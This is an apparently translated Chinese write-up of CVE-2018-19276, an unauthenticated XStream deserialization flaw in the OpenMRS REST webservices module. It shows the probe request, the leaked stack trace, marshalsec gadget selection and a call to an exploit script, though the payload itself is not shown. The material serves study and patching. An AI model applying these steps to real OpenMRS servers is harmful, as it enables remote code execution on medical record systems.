
CVE-2018-19276 - OpenMRS 不安全的对象反序列化 RCE
来自 https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
不安全的对象反序列化允许在无需登录的情况下执行任意代码。Webservices 模块的 IP 限制无法阻止此攻击。

由 Bishop Fox 的安全助理 Nicolas Serra 发现。
让我们通过官方文档来看看 OpenMRS 的 REST Web 服务是如何工作的:
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
让我们看看修复:
我们可以找到这些信息:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
他们基本上在 POST 请求为 XML 时过滤了 Content-type,所以可能是 XXE 或不安全的反序列化 👍
让我们再看看文档:

嗯,这很好,如果我们向 REST Web 服务发送 XML 会发生什么?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
这个错误给出了一些非常有趣的信息:xstream.XStreamMarshaller
让我们尝试使用这个很棒的工具 marshalsec 通过 Java 反序列化来触发 RCE。
让我们看看可用的 gadget:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
此时,我只是对所有 XStream gadget 使用 GitHub 搜索来查找一个出现位置。只有 ImageIO gadget 看起来很有希望:

让我们试一试:

就是这样!
python CVE-2018-19276.py
